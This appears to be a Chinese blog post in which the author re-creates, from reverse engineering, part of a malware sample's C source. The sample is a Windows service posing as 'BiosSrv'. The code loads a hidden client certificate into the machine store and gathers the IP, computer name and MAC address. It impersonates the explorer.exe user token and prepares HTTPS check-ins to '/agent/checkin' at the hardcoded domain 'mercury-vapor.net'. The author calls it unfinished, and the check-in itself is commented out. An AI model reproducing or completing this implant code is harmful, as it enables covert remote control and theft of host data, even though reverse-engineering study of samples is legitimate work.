在网上找了个样本,看了一下是个服务程序,而且感觉原作者思路非常清晰,自己也试着逆向写了一点,没有写完,没有调试.
/*
#define SERVICE_STOPPED 0x00000001
#define SERVICE_START_PENDING 0x00000002
#define SERVICE_STOP_PENDING 0x00000003
#define SERVICE_RUNNING 0x00000004
#define SERVICE_CONTINUE_PENDING 0x00000005
#define SERVICE_PAUSE_PENDING 0x00000006
#define SERVICE_PAUSED 0x00000007
#define SERVICE_WIN32_OWN_PROCESS 0x00000010
#define SERVICE_WIN32_SHARE_PROCESS 0x00000020
#define SERVICE_WIN32 (SERVICE_WIN32_OWN_PROCESS |SERVICE_WIN32_SHARE_PROCESS)
typedef struct _CRYPTOAPI_BLOB {
DWORD cbData;
_Field_size_bytes_(cbData) BYTE *pbData;
} CRYPT_INTEGER_BLOB, *PCRYPT_INTEGER_BLOB,
CRYPT_UINT_BLOB, *PCRYPT_UINT_BLOB,
CRYPT_OBJID_BLOB, *PCRYPT_OBJID_BLOB,
CERT_NAME_BLOB, *PCERT_NAME_BLOB,
CERT_RDN_VALUE_BLOB, *PCERT_RDN_VALUE_BLOB,
CERT_BLOB, *PCERT_BLOB,
CRL_BLOB, *PCRL_BLOB,
DATA_BLOB, *PDATA_BLOB,
CRYPT_DATA_BLOB, *PCRYPT_DATA_BLOB,
CRYPT_HASH_BLOB, *PCRYPT_HASH_BLOB,
CRYPT_DIGEST_BLOB, *PCRYPT_DIGEST_BLOB,
CRYPT_DER_BLOB, *PCRYPT_DER_BLOB,
CRYPT_ATTR_BLOB, *PCRYPT_ATTR_BLOB;
// dwFlags definitions for PFXImportCertStore
//#define CRYPT_EXPORTABLE 0x00000001 // CryptImportKey dwFlags
//#define CRYPT_USER_PROTECTED 0x00000002 // CryptImportKey dwFlags
//#define CRYPT_MACHINE_KEYSET 0x00000020 // CryptAcquireContext dwFlags
//#define CRYPT_USER_PROTECTED_STRONG 0x00100000
//#define PKCS12_INCLUDE_EXTENDED_PROPERTIES 0x10
// Token Specific Access Rights.
//
#define TOKEN_ASSIGN_PRIMARY (0x0001)
#define TOKEN_DUPLICATE (0x0002)
#define TOKEN_IMPERSONATE (0x0004)
#define TOKEN_QUERY (0x0008)
#define TOKEN_QUERY_SOURCE (0x0010)
#define TOKEN_ADJUST_PRIVILEGES (0x0020)
#define TOKEN_ADJUST_GROUPS (0x0040)
#define TOKEN_ADJUST_DEFAULT (0x0080)
#define TOKEN_ADJUST_SESSIONID (0x0100)
struct hostent {
char FAR * h_name; // official name of host
char FAR * FAR * h_aliases; // alias list
short h_addrtype; // host address type
short h_length; // length of address
char FAR * FAR * h_addr_list; // list of addresses
#define h_addr h_addr_list[0] // address, for backward compat
};
*/
#include<time.h>
#include<Windows.h>
#include<wincrypt.h>
#include<winsock.h>
#include<iphlpapi.h>
#include<TlHelp32.h>
#include<winhttp.h>
#include<stdio.h>
#pragma comment(lib,"Crypt32.lib")
#pragma comment(lib,"Winhttp.lib")
#pragma comment(lib,"Ws2_32.lib")
#pragma comment(lib,"Iphlpapi.lib")
void service();
void WINAPI ServiceMain(int argc, char **argv);
void WINAPI HandlerProc(DWORD dwControl);
void ConfigService(DWORD CurrentState, DWORD Win32ExitCode, DWORD WaitHint);
void worker(int argc, char **argv);
DWORD WINAPI StartAddress(LPVOID lpParam);
BOOL GetResource(HMODULE hModule, int ResourceId, BYTE *data, DWORD *ResourceLength);
int GetServerName();
BOOL AddCertificateContextToStore();
BOOL GetAdapterInfo(IP_ADAPTER_INFO *AdapterInfo, WCHAR* IPstring);
BOOL HttpSetOption(WCHAR *pwszVerb, WCHAR *pwszObjectName);
void HttpClose();
typedef struct _COMMON_DATA
{
WCHAR ServerName[0x100];//0x0
PCCERT_CONTEXT pPrevCertContext = nullptr;//0x204
WCHAR pszNameString[0x100];//0x208
WCHAR pwszHeaders[0x100];//0x40a
HINTERNET hSession = NULL;//0X82C
HINTERNET hConnect = NULL;//0x830
HINTERNET hRequest = NULL;//0x834
}*PCOMMON_DATA, COMMON_DATA;
COMMON_DATA CommonData;
DWORD CheckPoint = 1;
const WCHAR Type[0x10] = L"BINARY";
WCHAR ServiceName[0x20] = L"BiosSrv", wGet[0x10] = L"GET";
WCHAR wAgentCheckin[0x20]=L"/agent/checkin";
WCHAR MercuryVapor[0x30] = L"mercury-vapor.net";
HANDLE hHandle = NULL;
SERVICE_STATUS_HANDLE hServiceStatus = NULL;
SERVICE_STATUS ServiceStatus;
int main(int argc, char **argv)
{
return 0;
}
void service()
{
SERVICE_TABLE_ENTRYW ServiceStartTable;
ServiceStartTable.lpServiceName = ServiceName;
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
StartServiceCtrlDispatcherW(&ServiceStartTable);
}
void WINAPI ServiceMain(int argc, char **argv)
{
hServiceStatus = RegisterServiceCtrlHandlerW(ServiceName, (LPHANDLER_FUNCTION)HandlerProc);
if (hServiceStatus != NULL)
{
ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
ServiceStatus.dwServiceSpecificExitCode = 0;
ConfigService(SERVICE_START_PENDING, 0, 0xbb8);
worker(argc,argv);
}
}
void WINAPI HandlerProc(DWORD dwControl)
{
if (dwControl == SERVICE_CONTROL_STOP)
{
ConfigService(SERVICE_STOP_PENDING, 0, 0);
}
else
{
ConfigService(ServiceStatus.dwCurrentState, 0, 0);
}
SetEvent(hHandle);
}
void ConfigService(DWORD CurrentState, DWORD Win32ExitCode, DWORD WaitHint)
{
ServiceStatus.dwCurrentState = CurrentState;
ServiceStatus.dwWin32ExitCode = Win32ExitCode;
ServiceStatus.dwWaitHint = WaitHint;
if (CurrentState != SERVICE_START_PENDING)
{
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
}
if (CurrentState == SERVICE_STOPPED || CurrentState == SERVICE_RUNNING)
{
ServiceStatus.dwCheckPoint &= 0;
}
else
{
ServiceStatus.dwCheckPoint = CheckPoint++;
}
SetServiceStatus(hServiceStatus, &ServiceStatus);
}
void worker(int argc, char **argv)
{
DWORD ThreadId = 0,ExitCode=0;
HANDLE Thread = NULL;
hHandle = CreateEventW(NULL, TRUE, FALSE, NULL);
if (hHandle != NULL)
{
Thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, &ThreadId);
if (NULL ==Thread)
{
ConfigService(SERVICE_STOPPED, 0, 0);
}
else
{
ConfigService(SERVICE_RUNNING, 0, 0);
WaitForSingleObject(hHandle, INFINITE);
GetExitCodeThread(Thread, &ExitCode);
if (STILL_ACTIVE != ExitCode)
{
TerminateThread(Thread, ExitCode);
}
ConfigService(SERVICE_STOPPED, 0, 0);
}
}
}
DWORD WINAPI StartAddress(LPVOID lpParam)
{
Sleep((rand() % 5 + 1) * 0xea60);//0XEA60--->6000-----6s
//do something
return 0;
}
void* malloc_space(size_t size)//0x8dc
{
void *pointer = nullptr;
pointer = malloc(size);
return pointer;
}
int GetServerName()
{
DWORD ResourceLength = 0,length=0;
BYTE *MultiByteStr = nullptr;
length = GetResource(GetModuleHandleW(nullptr), 0x66, MultiByteStr, &ResourceLength);
if (length == TRUE)
{
length = MultiByteToWideChar(CP_ACP, 0, (char *)MultiByteStr, -1, CommonData.ServerName, 0x100);
}
return length;
}
BOOL AddCertificateContextToStore()
{
int i;
WCHAR *szPassword = nullptr,*pszNameString=nullptr;
DWORD ResourceLength=0;
BYTE *data=nullptr;
BOOL result = FALSE,finded=FALSE;
CRYPT_DATA_BLOB cdb;
HCERTSTORE hCertStore = NULL,hImportCertStore=NULL;
PCCERT_CONTEXT pCertContext = nullptr,pPrevCertContext=nullptr;
memset(&cdb, 0, sizeof(CRYPT_DATA_BLOB));
result = GetResource(GetModuleHandleW(nullptr), 0x65, data, &ResourceLength);
if (result==TRUE)
{
cdb.cbData = ResourceLength;
cdb.pbData = data;
result=PFXIsPFXBlob(&cdb);
if (result == TRUE)
{
hImportCertStore=PFXImportCertStore(&cdb, szPassword, CRYPT_EXPORTABLE|CRYPT_MACHINE_KEYSET);
if (hImportCertStore != NULL)
{
pCertContext = CertEnumCertificatesInStore(hImportCertStore, nullptr);
if (pCertContext != nullptr)
{
if (CertGetNameStringW(pCertContext, CERT_NAME_FRIENDLY_DISPLAY_TYPE, 0, 0, CommonData.pszNameString, 0x100))
{
hCertStore=CertOpenStore(CERT_STORE_PROV_SYSTEM_W, 0, 0,
CERT_STORE_CREATE_NEW_FLAG | CERT_STORE_READONLY_FLAG, "MY");
if (hCertStore != NULL)
{
do
{
while (TRUE)
{
pPrevCertContext = CertEnumCertificatesInStore(hCertStore, pPrevCertContext);
if (pPrevCertContext != NULL)
{
if (CertGetNameStringW(pPrevCertContext, CERT_NAME_FRIENDLY_DISPLAY_TYPE,
0, 0, pszNameString, 0x100))
break;
}
else
{
break;
}
}
if (pPrevCertContext == NULL)
break;
i = 0;
while ((pszNameString[i] == CommonData.pszNameString[i]) && pszNameString[i] != 0)
{
i++;//compare the two strings
}
if (pszNameString[i] == 0)
{
finded = TRUE;
CommonData.pPrevCertContext = pPrevCertContext;
}
} while (pszNameString[i]);
if (finded == FALSE)
{
if (TRUE == CertAddCertificateContextToStore(hCertStore,
pCertContext, CERT_STORE_ADD_ALWAYS, 0))
{
CommonData.pPrevCertContext = pCertContext;
}
else
{
return FALSE;
}
}
result = TRUE;
}
}
}
}
}
}
if (hImportCertStore != NULL)
{
CertCloseStore(hImportCertStore, 0);
hImportCertStore = NULL;
}
if (hCertStore != NULL)
{
CertCloseStore(hCertStore, 0);
hCertStore = NULL;
}
return result;
}
void CollectInfo()
{
char name[MAX_PATH],Dest[MAX_PATH];
DWORD Size = 0;
WCHAR WideCharStr[0x100] ;//address
WCHAR ComputerName[MAX_PATH];
WCHAR Src[0x100];
hostent *host = NULL;
IP_ADAPTER_INFO AdapterInfo;
memset(name, 0, MAX_PATH);
memset(Dest, 0, MAX_PATH);
memset(WideCharStr, 0, 0x200);
memset(ComputerName, 0, 2 * MAX_PATH);
memset(&AdapterInfo,0, sizeof(IP_ADAPTER_INFO));
memset(Src, 0, 0x200);
WSAData wsaData;
WSAStartup(0x202, &wsaData);
if (gethostname(name, MAX_PATH) == 0)//if no error occurs,gethostname returns zero
{
host=gethostbyname(name);
if (host != NULL)
{
MultiByteToWideChar(CP_ACP, 0, inet_ntoa(*(struct in_addr*)host->h_addr_list), -1, WideCharStr, 0x100);
}
}
if (GetComputerNameW(ComputerName, &Size) != FALSE)
{
if (FALSE != GetAdapterInfo(&AdapterInfo, CommonData.ServerName))
{
sprintf_s(Dest,"%02x-%02x-%02x-%02x-%02x-%02x",AdapterInfo.Address[0],
AdapterInfo.Address[1],AdapterInfo.Address[2],AdapterInfo.Address[3],
AdapterInfo.Address[4], AdapterInfo.Address[5]);
MultiByteToWideChar(CP_ACP, 0, Dest, -1, Src, 0x100);
/*
IsWow64Process
IsUserAnAdmin
*/
//fill data to CommonData
}
}
WSACleanup();
}
BOOL GetAdapterInfo(IP_ADAPTER_INFO *AdapterInfo,WCHAR* IPstring)
{
DWORD result = FALSE;
void* Memory = NULL;
DWORD BestInterfaceIndex = 0;
DWORD SizePointer = sizeof(IP_ADAPTER_INFO);
char MultiByte[MAX_PATH];
memset(MultiByte, 0, MAX_PATH);
Memory = malloc(SizePointer);
if (Memory != NULL)
{
result = GetAdaptersInfo((IP_ADAPTER_INFO*)Memory, &SizePointer);
if (ERROR_BUFFER_OVERFLOW ==result)//0x6f
{
free(Memory);
Memory = malloc(SizePointer);
if (Memory != NULL)
{
result=GetAdaptersInfo((IP_ADAPTER_INFO*)Memory, &SizePointer);
}
}
if (result == ERROR_SUCCESS)
{
if (WideCharToMultiByte(CP_ACP, 0, IPstring, -1, MultiByte, 0x103, 0, 0))
{
if (NO_ERROR == GetBestInterface((IPAddr)inet_addr(MultiByte), &BestInterfaceIndex))
{
while (((IP_ADAPTER_INFO*)Memory) != NULL)
{
if (BestInterfaceIndex == ((IP_ADAPTER_INFO*)Memory)->Index)
break;
Memory = ((IP_ADAPTER_INFO*)Memory)->Next;
}
}
if (Memory != NULL)//find it
{
CopyMemory(AdapterInfo, Memory, sizeof(IP_ADAPTER_INFO));
result = TRUE;
}
}
}
}
if (Memory != NULL)
free(Memory);
return result;
}
BOOL GetResource(HMODULE hModule, int ResourceId, BYTE *data, DWORD *ResourceLength)
{
BOOL result = FALSE;
HRSRC hResInfo=NULL;
HGLOBAL hResData = NULL;
data=nullptr, *ResourceLength = 0;
hResInfo=FindResourceW(hModule, MAKEINTRESOURCEW(ResourceId), Type);
if (hResInfo != NULL)
{
hResData=LoadResource(hModule, hResInfo);
if (hResData != NULL)
{
data=(BYTE *)LockResource(hResData);
if (data != nullptr)
{
*ResourceLength = SizeofResource(hModule, hResInfo);
if (*ResourceLength)
result = TRUE;
}
}
}
return result;
}
void ImpersonateExplorer()
{
HANDLE hSnapshot=NULL,TokenHandle = NULL,ProcessHandle=NULL;
PROCESSENTRY32W pe32w;
memset(&pe32w, 0, sizeof(PROCESSENTRY32W));
hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != NULL)
{
if (Process32FirstW(hSnapshot, &pe32w))
{
do
{
if (_wcsicmp(pe32w.szExeFile, L"explorer.exe") == 0)
{
ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32w.th32ProcessID);//0x400
if (ProcessHandle != NULL)
{
if (OpenProcessToken(ProcessHandle, TOKEN_QUERY | TOKEN_DUPLICATE, &TokenHandle))
ImpersonateLoggedOnUser(TokenHandle);
}
break;
}
} while (Process32NextW(hSnapshot, &pe32w));
}
CloseHandle(hSnapshot);
}
if (ProcessHandle != NULL)
CloseHandle(ProcessHandle);
if (TokenHandle != NULL)
CloseHandle(TokenHandle);
}
BOOL HttpSetOption(WCHAR *pwszVerb, WCHAR *pwszObjectName)
{
HttpClose();
CommonData.hConnect=WinHttpConnect(CommonData.hSession, CommonData.ServerName, 0x1bb, 0);//0x1bb--->443
if (CommonData.hConnect != NULL)
{
CommonData.hRequest = WinHttpOpenRequest(CommonData.hConnect, pwszVerb, pwszObjectName, 0, 0, 0, WINHTTP_FLAG_SECURE);
if (CommonData.hRequest != NULL)
{
if (WinHttpSetOption(CommonData.hRequest, WINHTTP_OPTION_CLIENT_CERT_CONTEXT, (void *)CommonData.pPrevCertContext, 0x14) == FALSE)
HttpClose();
else
return TRUE;
}
}
return FALSE;
}
void HttpClose()
{
if (CommonData.hConnect != NULL)
{
WinHttpCloseHandle(CommonData.hConnect);
CommonData.hConnect = NULL;
}
if (CommonData.hRequest != NULL)
{
WinHttpCloseHandle(CommonData.hRequest);
CommonData.hRequest = NULL;
}
}
void XMVaction()
{
/*
if (HttpSetOption(wGet, wAgentCheckin) == TRUE)
{
WinHttpAddRequestHeaders(CommonData.hRequest, CommonData.pwszHeaders, -1, WINHTTP_ADDREQ_FLAG_ADD);//0X20000000
WinHttpAddRequestHeaders(CommonData.hRequest, L"X-MV-Version: 1.00",-1, WINHTTP_ADDREQ_FLAG_ADD);
}
unfinished!
*/
}